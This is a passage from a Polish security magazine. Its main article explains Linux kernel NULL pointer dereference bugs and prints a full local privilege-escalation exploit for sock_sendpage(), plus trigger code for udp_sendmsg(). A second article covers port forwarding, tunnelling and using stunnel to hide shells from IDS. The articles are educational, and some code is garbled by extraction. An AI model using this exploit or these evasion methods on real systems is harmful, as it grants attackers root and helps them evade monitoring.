pojawią się nowe problemy. Czy dokument
przetwarzany na niemieckim serwerze,
ale przez użytkownika z Polski podlega
polskiemu prawu czy niemieckiemu? A co,
jeśli wykorzystywanych jest jednocześnie
kilkadziesiąt serwerów znajdujących się
w centrach danych w różnych krajach?
A jeżeli system operacyjny użytkownika
jest wirtualizowany? Jeśli taki użytkownik
popełni przestępstwo, to stwierdzenie,
który z serwerów znajdujących się w
chmurze wykonał nielegalne operacje
jest niemożliwy. Nawet jeśli część krajów
będzie regulować takie sytuacje, to z
pewnością nie dotyczy to wszystkich
państw. W dodatku prawa te mogą być
sprzeczne.
Specjaliści z firm dostarczających
rozwiązania do cloud computingu
nie przewidują drastycznych zmian
w podejściu zwykłych użytkowników
do spraw bezpieczeństwa. Jednak
przeniesienie większości oprogramowania
w dobrze chronione chmury obliczeniowe,
będące w rzeczywistości profesjonalnie
obsługiwanymi serwerowniami, pozwoli
zmniejszyć ryzyko ataku na domowe
komputery czy serwery w małych firmach.
Powód jest prosty – znajdzie się tam
tak mała ilość oprogramowania, że cały
obowiązek ochrony spadnie na dostawców
usług. Wybór klienta ograniczy się tylko
do wyboru zaufanej firmy dostarczającej
usługę. Zły wybór okaże się tragiczny w
skutkach, bo ilość danych przekazanych w
chmurę będzie stale rosła.
Marcin Kosedowski
Dziennikarz publikujący m.in. w magazynach Internet
Maker i PC World. Interesuje się anonimowością,
spamem i kryptografią. Obecnie kończy
studia na wydziale Elektroniki i Telekomunikacji
Politechniki Wrocławskiej. Kontakt z autorem:
[email protected].
1/2010 HAKIN9
33
ATAK
Błędy typu
NULL Pointer
Dereference
DAMIAN OSIENICKI
Stopień trudności
Nieostrożne operacje na wskaźnikach są źródłem wielu błędów
które mogą posłużyć do eskalacji przywilejów lub ataków DoS.
Artykuł opisuje model zarządzania pamięcią wirtualną procesu
oraz sposób wykorzystania błędów dereferencji wskaźnika,
w systemach linuksowych, na platformie 32-bitowej.
N
ull pointer dereference jest kolejnym
typem błędów, jakie może popełnić
osoba pisząca kod w języku C. Już
w 1994 roku opublikowany został exploit,
wykorzystujący taką podatność w bibliotecznej
funkcji pt _ chmod(). W ciągu ostatnich kilku
miesięcy, ilość znalezionych bugów dereferencji
wskaźnika znacznie się zwiększyła. Większość z
nich znajdowała się w jądrze Linuksa.
Artykuł ten ma na celu przedstawić
Czytelnikowi sposób wykorzystania błędu typu
Null Pointer Dereference w podatnym kernelu,
lecz aby w pełni zrozumieć opisywaną technikę,
musimy wiedzieć jak działa pamięć wirtualna
procesu, co się w niej znajduje, oraz jak
możemy nią manipulować.
Anatomia procesu w pamięci
Z ARTYKUŁU
DOWIESZ SIĘ
jak działa pamięć wirtualna
procesu w systemach
linuksowych,
jak wykorzystać błąd Null
Pointer Dereference w
podatnym jądrze.
CO POWINIENEŚ
WIEDZIEĆ
wskazana jest praktyczna
znajomość języka C oraz
Asembler,
ogólna znajomość systemu
Linux.
34 HAKIN9 1/2010
Systemy uniksowe, wykorzystują płaski model
pamięci (ang. flat model). Cały trik polega na
tym, że dzięki temu zastosowaniu, możemy
odwołać się do każdego bajtu pamięci, poprzez
adres z puli od 0x00000000 do 0xffffffff.
Uwarunkowane to jest pojemnością rejestrów
jakie posiada procesor. Każdy z nich ma 32
bity -> 4 bajty (oprócz rejestrów segmentowych,
które posiadają 16 bitów), co daje nam 4 GB
(0xffffffff) pamięci, dostępnej poprzez adres.
Wszystkie uruchomione programy posiadają
własne wirtualne bloki pamięci, dzięki czemu
proces nie może wyjść poza przydzielony mu
obszar.
Jeśli chcemy odwołać się pod jakiś
adres, to musi on być przedtem zamapowany.
Oznacza to tyle, że obszar pamięci, pod który
chcemy się odwołać, musi w rzeczywistości
wskazywać w konkretne miejsce pamięci
fizycznej. Mechanizm translacji adresów
wirtualnych na fizyczne nazywa się
stronicowaniem (patrz Ramka).
Jeśli proces odwoła się do regionu
pamięci, który nie jest mapowany, to jądro
wyśle do niego sygnał SIGSEGV, po czym go
unicestwi. Pamięć programu podzielona jest na
kilka segmentów. Najważniejsze z nich zostały
przedstawione na Rysunku 1.
Przykładowo, segmenty text i data oraz
dynamiczne biblioteki są tworzone dzięki
systemowej funkcji mmap( ). Jej działanie
opiera się na mapowaniu pewnego regionu
pamięci oraz opcjonalnie, na wypełnieniu go
zawartością pliku. Dla sterty i segmentu bss,
jądro wykorzystuje wywołanie brk(), a dla
stosu, swoją wewnętrzną funkcję: setup _
arg _ pages( ).
Lord of the ring0
Jeśli adresy wirtualne są uruchomione,
to odnoszą się nie tylko do całego
oprogramowania działającego w systemie,
ale także do jądra Linuksa. W zasadzie,
pamięć procesu jest podzielona na
dostępną dla aplikacji oraz tę dla kernela.
Kernel ma zarezerwowany 1 GB pamięci
BŁĘDY TYPU NULL POINTER DEREFERENCE
dla siebie oraz tak jak w przypadku
procesu, nie wykorzystuje jej całej.
W Linuksie, przestrzeń jądra jest
mapowana i dostępna pod tym samym
wirtualnym adresem we wszystkich
programach, aby cały czas być
gotowym do uchwycenia przerwań
lub wywołań systemowych. Ten 1 GB
przeznaczonego miejsca dla jądra,
jest mapowany w tablicy stron jako
specjalnie uprzywilejowany (ring 0).
Wszelkie bezpośrednie odwołania do
niego, kończą się zabiciem procesu.
Procesor w czasie wykonywania
kodu aplikacji użytkownika, pracuje
z uprawnieniami ring3 (najmniej
uprzywilejowany). Dopiero gdy proces
wykona któryś z syscalli, jego uprawnienia
zmieniają się na ring0.
Nie ma znaczenia czy jesteś
zalogowany jako root, guest, lub nobody,
ponieważ uprawnienia te, dotyczą tylko
procesora.
Listing 1. Kod funkcji sock_sendpage()
static ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
}
����������
������������
�������������������������������������������
����������
������������
�����������������������
���������������������������������������������������
Studium przypadku
Wskaźniki w języku C to zmienne,
które przechowują adresy. Najczęściej
używa się ich, aby wskazywały na
struktury, ciągi znaków lub funkcje.
Ogólnie przyjęto, że jeśli w funkcji,
która miała zwrócić adres do regionu
pamięci, wystąpił błąd, to zwraca ona
NULL. Jednak nie zawsze sprawdza
się tę wartość, co skutkuje błędem
SIGSEGV, ponieważ NULL to po prostu
odwołanie do adresu 0x0. Technika
dereferencji wskaźnika opiera się na
wcześniejszym mapowaniu tego regionu
pamięci poprzez funkcję mmap() oraz
podstawieniu fałszywych danych, które
zostaną użyte jako prawidłowe. Jednak
funkcja mmap() ma pewne ograniczenia.
W systemie Linux nie można mapować
pamięci innego procesu. Tak więc błędy
tego typu w zwykłych aplikacjach nic
nam nie dadzą oprócz ataku DoS. Inną
sprawą jest znalezienie takiej podatności
w jądrze. Tak jak omawiane to było
wcześniej, kod jądra znajduje się w
każdym procesie i nie jest ograniczony
do operacji, tylko na swoim kawałku
pamięci. Więc jeśli kernel odwoła się do
danych spod adresu Null (który został
wcześniej zamapowany), to ta operacja
się powiedzie.
����������������
�����������������
��������������������������������������
��������������������������������������������
�����������������
��������������������������������
������������������
�����������������������������
������������������
����������
��������������������������������������������
����������
Rysunek 1. Schemat segmentów w pamięci procesu
����������
��������
�����������
����������
}
}
����
����
����������
���������
���������
��������������
�����������
�����
�������
��������
Rysunek 2. Podział trybów pracy procesora
1/2010 HAKIN9
35
ATAK
sock_sendpage( )
Listing 2. Część struktury proto_ops
struct proto_ops {
int
struct module
int
int
int
int
family;
*owner;
(*release)
(*bind)
(struct socket *sock);
(struct socket *sock,
struct sockaddr *myaddr,
int sockaddr_len);
(*connect)
(struct socket *sock,
struct sockaddr *vaddr,
int sockaddr_len, int flags);
(*socketpair)(struct socket *sock1,
struct socket *sock2);
(….)
ssize_t
ssize_t
};
�
(struct socket *sock, struct page *page,
int offset, size_t size, int flags);
(*splice_read)(struct socket *sock, loff_t *ppos,
struct pipe_inode_info *pipe, size_t len,
unsigned int flags);
(*sendpage)
����
����
����
�����������
Rysunek 3. Schemat stosu w trybie jądra
������������
Przykładowym błędem dereferencji
wskaźnika, jest luka znaleziona w funkcji
sock _ sendpage( ) (Listing 1), która
znajduje się we wszystkich kernelach
z serii 2.6 oraz w większości 2.4. W jej
ostatniej instrukcji, istnieje skok do funkcji,
której adres przechowuje wskaźnik do
struktury typu proto_ops. W strukturze
tej zdefiniowane są wskaźniki do funkcji
s, które wykonują różne operacje na
gnieździe (Listing 2).
Błąd polega na niedostatecznym
zainicjalizowaniu tejże struktury,
poprzez makro SOCKOPS_WRAP( ).
Jeśli utworzony socket, będzie jednym
z wymienionych rodzin protokołów:
PF_APPLETALK, PF_IPX, PF_IRDA, PF_X25,
PF_AX25, PF_BLUETOOTH, PF_IUCV, PF_
INET6, PF_PPPOX, PF_ISDN, to wskaźnik
w proto_ops do funkcji sendpage(), nie
zostanie przypisany, w konsekwencji
będzie równy NULL. Wcześniejsze
umieszczenie w tym miejscu instrukcji dla
procesora, spowoduje ich wykonanie z
przywilejami ring0.
Shellcode
Aby podnieść przywileje naszego
procesu, wykorzystamy standardową
metodę nadpisywania pól struktury
task_struct, które określają uid oraz gid,
z jakimi został uruchomiony program.
Do tego zadania potrzebny nam będzie
adres task _ struct . Po aktualizacji
naszego uid i gid, musimy powrócić do
user land bez wywołania żadnego błędu.
Stronicowanie (ang. pages table)
Procesory 80386 i nowsze, pracujące w trybie chronionym umożliwiają dowolne mapowanie adresów logicznych na adresy fizyczne – mechanizm
ten nazywany jest stronicowaniem (ang. paging). Adresy logiczne obejmują całą przestrzeń adresową procesora, czyli 4 GB, niezależnie od tego, ile w
rzeczywistości w komputerze zainstalowano pamięci. Zadaniem systemu operacyjnego jest odpowiednie mapowanie adresów logicznych na adresy
pamięci fizycznej, co pozwala zwykłym programom użytkowym, przez cały czas działania, odwoływać się do tych samych adresów logicznych.
Jeśli włączone jest stronicowanie, wówczas cała pamięć (4 GB) dzielona jest na bloki – strony o rozmiarach 4 kB; w procesorach Pentium i
nowszych możliwe jest także używanie stron o rozmiarach 4 MB. Gdy program odwołuje się do pamięci, podaje adres właściwej komórki pamięci.
Adres ten jest 32-bitową liczbą, która składa się z trzech części:
•
•
•
indeks w katalogu stron (liczba 10-bitowa),
indeks w tablicy stron (liczba 10-bitowa),
przesunięcie w obrębie strony (liczba 12-bitowa).
Katalog stron zawiera wskaźniki do tablic stron, tablice stron przechowują adresy fizyczne stron (system operacyjny może zarządzać wieloma
katalogami i tablicami stron).
Zatem pierwsza część adresu wybiera z katalogu stron tablicę stron. Druga część adresu wybiera pozycję z tablicy stron, która wyznacza
fizyczny adres konkretnej strony. Przesunięcie jest adresem lokalnym w obrębie wybranej strony. Ostatecznie adres fizyczny, na który zamapowano
adres logiczny, wyznaczany jest z dwóch składników: adresu fizycznego strony i przesunięcia.
36 HAKIN9 1/2010
BŁĘDY TYPU NULL POINTER DEREFERENCE
Gdybyśmy tego nie zrobili, jądro zabiłoby
nasz proces, któremu przed chwilą
podnieśliśmy uprawnienia.
Adres task_struct
W Linuksie, stos trybu jądra umieszczono
w jednym obszarze pamięci, razem ze
strukturą thread_info (pierwsze pole
tej struktury to wskaźnik do task_struct
aktualnego procesu). Obszar ten ma
zazwyczaj długość 8 kB (czasami jest
to 4 kB) oraz zawsze rozpoczyna się
adresem, który jest wielokrotnością 8 192
bajtów (213 ) (Rysunek 2).
Dzięki takiej konstrukcji, kernel może
odwołać się do thread_info w bardzo
prosty sposób, mianowicie poprzez
maskowanie 13 najmniej znaczących
bitów (12 w przypadku 4 kB) rejestru ESP.
Po wykonaniu tej czynności, otrzymujemy
adres thread_info oraz jednocześnie,
wskaźnik do struktury task_struct.
Powrót do user land
W przypadku błędu w sock _ sendpage( ),
powrót do przestrzeni użytkownika
może się odbyć poprzez instrukcję ret,
ponieważ nasz shellcode wywoływany
jest w kontekście nowej funkcji. Więc
jeśli rejestry ebp i esp pozostaną
Listing 3. Kod exploita na sock_sendpage()
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<unistd.h>
<fcntl.h>
<sys/socket.h>
<sys/user.h>
<sys/types.h>
<sys/wait.h>
<sys/reg.h>
<sys/mman.h>
<sys/stat.h>
}
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "r" (ss), "r" (esp), "r" (0),
"r" (cs), "r" (root_exec)
);
int main(void) {
static unsigned int uid, gid, cs, ss;
static unsigned long esp;
int sock, file;
void *page;
char template[] = "/tmp/exploit.XXXXXX";
void root_exec() {
uid = getuid();
gid = getgid();
if (getuid() != 0) {
printf("Shellcode fail\n");
exit(1);
}
}
asm volatile ( "movl %%esp, %0\n" : "=r" (esp) );
asm volatile ( "mov %%ss, %0\n" : "=r" (ss) );
asm volatile ( "mov %%cs, %0\n" : "=r" (cs) );
if((page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_FIXED | MAP_
ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
exit(1);
}
execl("/bin/sh", "sh", "-i", NULL);
void shellcode() {
int i, *p;
unsigned long current;
*(char *)0
*(char *)1
*(unsigned
*(unsigned
asm volatile ( "movl %%esp, %0;" : "=r"(current) );
current &= 0xffffe000;
current = *(unsigned long *)current;
if((file = mkstemp(template)) < 0) {
perror("mkstemp");
exit(1);
}
p = (int *)(current + 0x2bc);
p = (int *)*p;
for(i = 0; i < 300; i++) {
if(p[0] == uid && p[1] == uid && p[4] == gid && p[5]
== gid) {
p[0] = p[1] = 0;
p[4] = p[5] = 0;
break;
}
p++;
}
asm volatile (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
= '\xff';
= '\x25';
long *)2 = (unsigned long)6;
long *)6 = (unsigned long)shellcode;
if((sock = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
exit(1);
}
unlink(template);
ftruncate(file, PAGE_SIZE);
sendfile(sock, file, NULL, PAGE_SIZE);
}
1/2010 HAKIN9
37
ATAK
niezmienione, to jądro samo powróci
do przestrzeni użytkownika. Gdy nie
znajdujemy się w takiej komfortowej
sytuacji, to musimy sami wywołać
instrukcję, która spowoduje powrót z
kernel mode do user land. W Linuksie
do dyspozycji mamy dwa wyjścia, użycie
instrukcji sysexit bądź instrukcji iret. My
wykorzystamy tę drugą. Jej działanie jest
proste: pobiera ona pięć argumentów ze
stosu:
•
•
•
•
•
po czym przenosi je do odpowiednich
rejestrów procesora.
W pierwszym argumencie umieścimy
adres funkcji wywołującej powłokę.
Wartości rejestrów CS, SS i ESP
pobierzemy z wcześniej utworzonych
kopii. W przypadku rejestru flag, nie
musimy ustawiać żadnej z nich, więc
przekażemy po prostu zero.
adres instrukcji, od której można
wznowić wykonywanie programu,
Listing 4. Część struktury task_struct
struct task_struct {
volatile long state;
void *stack;
atomic_t usage;
unsigned int flags;
unsigned int ptrace;
int lock_depth;
/* -1 unrunnable, 0 runnable, >0 stopped */
/* per process flags, defined below */
/* BKL lock depth */
(….)
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
struct group_info *group_info;
kernel_cap_t
cap_effective, cap_inheritable, cap_permitted, cap_bset;
struct user_struct *user;
unsigned securebits;
};
(….)
Listing 5. Część funkcji udp_sendmsg()
int udp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t
len){
(….)
struct rtable *rt = NULL;
(….)
if (up->pending) {
/*
* There are pending frames.
* The socket lock must be held while it's corked.
*/
lock_sock(sk);
if (likely(up->pending)) {
if (unlikely(up->pending != AF_INET)) {
release_sock(sk);
return -EINVAL;
}
goto do_append_data;
}
release_sock(sk);
}
(….)
do_append_data:
up->len += ulen;
err = ip_append_data(sk, ip_generic_getfrag, msg->msg_iov, ulen,
sizeof(struct udphdr), &ipc, rt,
corkreq ? msg->msg_flags|MSG_MORE : msg->msg_flags);
if (err)
udp_flush_pending_frames(sk);
else if (!corkreq)
err = udp_push_pending_frames(sk, up);
release_sock(sk);
(….)
38 HAKIN9 1/2010
wartość rejestru segmentowego CS,
zachowane flagi,
wartość rejestru ESP,
wartość rejestru segmentowego SS,
Exploit
Cały kod exploita znajduje się na Listingu 3.
Na początku inicjalizujemy wszystkie
zmienne statyczne, których będziemy
używać w shellcode. Potem wywołujemy
funkcję mmap( ) z flagami, które
wymuszają mapowanie adresu Null
oraz informującymi, że mapownaie nie
jest oparte na żadnym pliku. Kolejne linie
kopiują poniższą instrukcję skoku (w
języku maszynowym) pod 0x0:
jmp
*0x6
a następnie adres funkcji shellcode. Dalej
przebiega inicjalizacja pliku oraz gniazda,
potrzebnych do wywołania błędu. Dzięki
funkcji sendfile( ), jądro uruchamia
sock _ sendpage( ), po czym skacze
pod adres Null. Umieszczone tam
instrukcje, przenoszą działanie programu
do funkcji shellcode( ). Jedynym jej
elementem, który nie został omówiony, jest
pętla for( ). Literuje ona całą strukturę
task _ struct (Listing 4), w poszukiwaniu
uid oraz gid, z jakimi został uruchomiony
proces, po czym ustanawia jego nową
wartość. Po wyjściu z przestrzeni jądra,
uruchamiamy powłokę z prawami roota.
udp_sendmsg()
Innym ciekawym przykładem jest błąd
znaleziony w funkcji udp _ sendmsg().
Polega on na tym, że pointer wskazujący
na strukturę rtable, zostaje zinicjowany
wartością Null.
Doprowadzając do odpowiednich
warunków, pointer ten zostaje przekazany
bez żadnych modyfikacji do argumentów
funkcji ip _ append _ data(), która
BŁĘDY TYPU NULL POINTER DEREFERENCE
wykonuje operacje na strukturze
przez niego wskazywanej. Posiadając
władzę nad strukturą rtable, jesteśmy w
stanie modyfikować każde jej pole, a w
konsekwencji, wykonać nasz kod na
poziomie ring0.
Najbezpieczniejszym wyjściem
jest wykorzystanie wskaźnika funkcji
(*output)(struct sk_buff*) zawartym w
unii dst_entry. Wywoływany jest on przez
funkcję dst _ output(), którą z kolei
wywołuje makro NF_HOOK():
#define NF_HOOK(pf, hook, skb, indev,
outdev, okfn)
(okfn)(skb)
Do uchwycenia błędu musimy stworzyć
gniazdo UDP i jego nagłówek, a następnie
wywołać funkcję sendmsg() dwukrotnie.
Za drugim razem funkcja udp _
sendmsg() znów skoczy do etykiety do_
append_data, po czym spróbuje wysłać
nasz pakiet, wykonując przy tym wcześniej
wspomniane makro NF_HOOK(). Jako
że wskaźnik output będzie wskazywać
na naszą funkcję, to zostanie ona
wykonana przez jądro. Reszta scenariusza
jest już znana. Warto samodzielnie
przeanalizować cały ten schemat w
źródłach Linuksa, gdyż umiejętność
odnalezienia się wielu różnych strukturach
oraz funkcjach na nich pracujących, jest
bardzo cenna (nieocenionym narzędziem
do tego będzie strona lxr.linux.no).
Obrona
Deweloperzy jądra w wersji 2.6.23,
wprowadzili minimalny adres, jaki może
zostać mapowany (/proc/sys/vm/mmap_
min_addr). Skutecznie uniemożliwia
to wykorzystywanie błędów typu Null
Pointer Dereference. Pierwszy bypass
został odkryty w funkcji do _ brk(), która
służy do alokacji miejsca na stercie.
Błąd polegał na niedostatecznym
sprawdzaniu, czy dany region pamięci
może być mapowany. Alokując duże
regiony pamięci poprzez funkcję
malloc(), bądź nawet funkcję mmap()
(obie korzystają z do_brk()), w końcu
udałoby się osiągnąć adres Null. Błąd
został naprawiony w wersji 2.6.24-rc5.
W czerwcu tego roku, Julien Tinnes
oraz Tavis Ormandy, zaprezentowali nową
technikę obejścia mmap_min_addr, która
Listing 6. Uchwycenie błędu w udp_sendmsg()
struct msghdr header;
struct sockaddr_in address;
int sock;
sock = socket(PF_INET, SOCK_DGRAM, 0);
if (sock == -1) {
printf("[-] can't create socket\n");
exit(-1);
}
memset(&header, 0, sizeof(struct msghdr));
memset(&address, 0, sizeof(struct sockaddr_in));
address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr("127.0.0.1");
address.sin_port = htons(22);
header.msg_name = &address;
header.msg_namelen = sizeof(address);
// offset wskaźnika (*output)(struct sk_buff*)
*(unsigned long *)(0x74) = (unsigned long)shellc0de;
sendmsg(sock, &header, MSG_MORE | MSG_PROXY);
sendmsg(sock, &header, 0);
close(sock);
W Sieci
•
•
wikipedia.org (http://pl.wikipedia.org/wiki/Stronicowanie_pamięci),
blog.cr0.org (http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html).
wykorzystuje demon do obsługi dźwięku,
zainstalowany we wszystkich popularnych
dystrybucjach. Linux pozwala na
mapowanie adresu Null programom, które
mają ustawiony bit setuid (gdyż programy
z bitem suid posiadają CAP_SYS_RAWIO
capability co w rzeczywistości, pozwala
na mapowanie adresu Null). Aby to
wykorzystać, program taki musi jeszcze
wykonać nasz kod, bez wywoływania go
jako nowego procesu. Julien i Tavis użyli
do tego zadania pulseaudio, który ma
standardowo ustawiony bit setuid oraz
pozwala na użycie dynamicznej biblioteki,
wybranej przez użytkownika (oczywiście
pulseaudio zrzuca przedtem uprawnienia).
Ciekawą informacją jest to, że SELinux
w standardowych ustawieniach, zezwala
pulseaudio na mapowanie adresu Null,
co w połączeniu z wykonaniem kodu
na poziomie ring0, daje atakującemu
możliwość całkowitego obejścia
zabezpieczeń stosowanych przez SELinux
czy AppArmor.
W wersji 2.6.31-rc3 potraktowano
powyższy bypass mmap_min_addr
jako podatność jądra, oraz usunięto
ją, wykorzystując do tego celu łatę
zaproponowaną przez odkrywców
podatności.
Podsumowanie
Wykorzystywanie błędów, znajdujących się
w jądrze Linuksa, jest pewnego rodzaju
sztuką. Opublikowanie podatności w jądrze,
czy napisanie PoC na błąd, który uważany
był za niemożliwy do eksploitacji, łączy się
z szacunkiem i uznaniem w środowisku.
Artykuł ten omówił tylko podstawy, jakie
każda osoba interesująca się pisaniem
eksploitów powinna znać. Istnieje wiele
technik, których można użyć. Ucieczka z
więzienia chroot, zablokowanie SELinux,
czy zdalny atak na jądro, to tylko przykłady.
Widzimy, że wszystkie błędy, znajdujące
się na poziomie jądra, są bardzo groźne w
skutkach, dlatego jego ciągła aktualizacja
jest bardzo ważnym elementem w
zapewnieniu ochrony systemowi.
Damian Osienicki
Autor studiuje informatykę w Polsko – Japońskiej
Wyższej Szkole Technik Komputerowych. W wolnych
chwilach pisze programy w języku C, Asemblerze,
Pythonie oraz zgłębia działanie systemu Linux. Członek
grupy u-Crew oraz Gabspan.
Kontakt z autorem: [email protected]
1/2010 HAKIN9
39
ATAK
Jak zostać
władcą
portów
NORBERT KOZŁOWSKI
Stopień trudności
Nie będziemy potrzebowali floty statków ani pirackiej załogi by
zrealizować ten cel. W XXI wieku zdołamy dokonać podobnych
rzeczy wyposażeni jedynie w komputer oraz wiedzę
pozwalającą na poprawne wykonanie pewnych technik.
W
artykule przedstawimy różne
sposoby przekierowania portów
oraz tunelowania połączeń.
Techniki te są dość łatwe w implementacji,
a ich rezultaty całkiem zaskakujące. Dzięki
poznaniu i zrozumieniu ich działania
będziemy w stanie kontrolować ruch w
sieci, co może okazać się przydatne
w środowiskach ograniczonych
działaniem prostego firewalla (bez
kontroli zawartości pakietów) lub innego
mechanizmu filtrującego ruch. W sieciach
wykorzystujących zaawansowane systemy
IDS należy stosować inne techniki.
Przekierowanie portu
Z ARTYKUŁU
DOWIESZ SIĘ
jak oszukać proste systemy
filtrujące ruch w sieci.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawowe narzędzia i
ogólny schemat działania sieci
w systemach linuksowych.
40 HAKIN9 1/2010
Przekierowanie portu dotyczy akceptowania
przychodzących danych na specyficznym
porcie (zazwyczaj wyznaczonym regułą w
firewallu) i przeniesienie ich na inny port.
Umiejętność może być przydatna w wielu
sytuacjach. Rozważmy jedną z nich.
Wyobraźmy sobie przypadek, gdy nasz
komputer w pracy znajduje się w sieci LAN
za zaporą ogniową. Jest ona skonfigurowana
tak, aby zezwalać na ruch wychodzący tylko
na porcie 80. W praktyce oznacza to, iż z
sieci jesteśmy w stanie otrzymać każdą
informację, ale my, jako jej źródło, jesteśmy
skazani na przeglądarkę WWW. Jesteśmy także
uzależnieni od IRC-a, a to nieco utrudnia nam
ciągłe przesiadywanie na ulubionym kanale.
Będziemy usiłowali uzyskać dostęp do portu
6667. Powyższy problem możemy rozwiązać na
kilka sposobów. Alternatywą jest skorzystanie
ze strony internetowej emulującej klienta IRC
lub stworzenie własnego skryptu CGI, który
będzie działał na serwerze i spełniał podobną
funkcję, komunikując się z określonym kanałem
poprzez przeglądarkę. My jednak zostaniemy
przy ciekawszym rozwiązaniu. Do osiągnięcia
celu będziemy potrzebowali dodatkowego
komputera, np. domowego. Rysunek 1
przedstawia opisaną sytuację.
Nasz stacjonarny komputer skonfigurujemy
w taki sposób, aby przeprowadzał nasłuch
na porcie 80, a otrzymane połączenia
automatycznie przekierował na port
6667, stając się pośrednikiem. Istnieje
kilka programów, aby zrealizować ten cel.
Korzystając z systemu Windows można
użyć na przykład fpipe lub winrelay. My
jednak zachowamy się jak profesjonaliści i
wykorzystamy do tego celu linuksową aplikację
rinetd.
W naszych rozważaniach przyjmijmy za fakt,
iż komputer domowy ma publiczny adres IP
85.64. 33.144, a serwer IRC, z którym chcemy
nawiązać połączenie to irc.freenode.net
W tym celu na domowym komputerze
edytujemy plik /etc/rinetd.conf, dopisując
następującą regułę:
85.64.33.144 80 irc.freenode.net 6667
JAK ZOSTAĆ WŁADCĄ PORTÓW
Jej format widać na pierwszy rzut oka.
Schematycznie jest to:
[adres źródłowy] [port źródłowy]
[adres docelowy]
[port docelowy]
Należy dodać, iż każdy przekazywany
port należy dodać jako osobną regułę
w nowym wierszu. Adresy źródłowe i
docelowe mogą być zapisane jako
adresy IP lub nazwy komputerów.
Adres źródłowy 0.0.0.0 oznacza, że
przekazywane będą połączenia, ze
wszystkich adresów IP powiązanych
z naszym komputerem. Przykładowo
wpis:
0.0.0.0 80 192.168.1.101 80
znaczy że cały ruch przychodzący
na port 80 zostanie przekazany
komputerowi 192.168.1.101. Warto
pamiętać, iż w systemie nie może
równocześnie działać inna aplikacja
korzystająca z tego portu. Mogłoby to
doprowadzić do konfliktu.
Wracając do przykładu. Uruchomimy
teraz rinetd, wpisując jego nazwę w
konsoli. Na komputerze w pracy możemy
sprawdzić czy wszystko działa poprawnie.
Używając netcat w konsoli wpisujemy
– Listing 1.
Kapsułkowanie
SSL – Stunnel
Jak czytamy w opisie programu,
Stunnel został stworzony by
tunelować połączenia TCP za
pomocą protokołu SSL. Jego zalety
to m.in. łatwość konfiguracji (jeden
plik), działa w środowisku chroot, nie
wymaga przywilejów administratora,
nie tworzy w systemie żadnych
dodatkowych inter fejsów sieciowych.
Kod źródłowy pozbawiony jest
jakichkolwiek kr yptograficznych funkcji
(wykorzystywane są zewnętrzne
biblioteki SSL).
W praktyce używany jest by
rozszerzyć funkcjonalność innych
protokołów (np. POP2, POP3, IMPAP)
poprzez uzupełnienie ich w szyfrowanie,
bez jakiejkolwiek ingerencji w kod
źródłowy deamona.
Stunnel można wykorzystać
szyfrując ruch w sieci, co może
zapobiec atakom MITM lub pomóc
oszukać systemy IDS/IPS. W naszym
scenariuszu będziemy próbowali
nawiązać połączenie z serwerem POP3
wspierającym szyfrowanie SSL. Niestety
nasz klient poczty nie ma możliwości
korzystania z szyfrowanych połączeń.
W dodatku podejrzewamy, iż w sieci
pojawił się intruz przechwytujący cały
ruch. Obrazkowo sytuacja przedstawia
się tak jak na Rysunku 2.
Skonfigurujemy Stunnel, aby
nasłuchiwał adres 127.0.0.1 na
porcie 110, kapsułkował, a następnie
przekierowywał dane do serwera poczty
na port 995 (POP3 SSL).
Warto zauważyć, iż jeśli będziemy
próbowali połączyć się do serwera
poczty na surowo poprzez RAW
TCP (używając np. aplikacji netcat z
Listing 1. Nawiązanie połączenia z serwerem IRC
C:\>nc -nv 85.64.33.144 80
(UNKNOWN) [85.64.33.144] 80 (?) open
NOTICE AUTH :*** Looking up your hostname...
NOTICE AUTH :*** Checking ident
NOTICE AUTH :*** No identd (auth) response
NOTICE AUTH :*** Found your hostname
…
����������������������������
���
�������������
��������
����������
�������������������������
�����
Rysunek 1. Przekierowanie portu
���������
��������
�����
�������������
��������
��������
Rysunek 2. Schemat kapsułkowania SSL
1/2010 HAKIN9
41
ATAK
parametrem verbose) nie otrzymamy
żadnej odpowiedzi. Serwer domyślnie
czeka na rozpoczęcie połączenia SSL
(SSL handshake).
Nasz plik konfiguracyjny
stunnel.conf (/usr/local/etc/stunnel/
stunnel.conf ) powinien wyglądać np.
Tak – Listing 2.
Gdzie 144.52.121.72 jest adresem
IP, a 995 portem docelowym serwera
poczty.
Teraz pozostaje nam tylko uruchomić
stunnel, a następnie połączyć się
z adresem 127.0.0.1 na porcie 110.
Wydajemy następujące polecenia
– Listing 3.
Ciekawostką jest to, iż większość
systemów IDS bez żadnych trudności
wykrywa próby stworzenia tzw. bind shella
lub reverse shella za pomocą netcata.
Bardzo użyteczny w tej sytuacji staje się
stunnel. Systemy identyfikacji intruzów
Listing 2. Plik konfiguracyjny stunnel.conf
cert = /usr/local/etc/stunnel/stunnel.pem
; Some security enhancements for UNIX systems - comment them out on Win32
chroot = /usr/local/var/lib/stunnel/
setuid = nobody
setgid = nogroup
pid = /stunnel.pid
client = yes
; Service-level configuration
[pop3s]
accept = 127.0.0.1:110
connect = 144.52.121.72:995
khozzy@khozzy-laptop:~$ stunnel
khozzy@khozzy-laptop:~$ nc -v 127.0.0.1 110
localhost [127.0.0.1] 110 (pop3) open
+OK Hello there.
USER myusername
+OK Password required.
PASS mypassword
-ERR Login failed.
QUIT
+OK Better luck next time.
khozzy@khozzy-laptop:~$
Listing 4. Przekierowanie połączenia wykorzystując metodę HTTP CONNECT
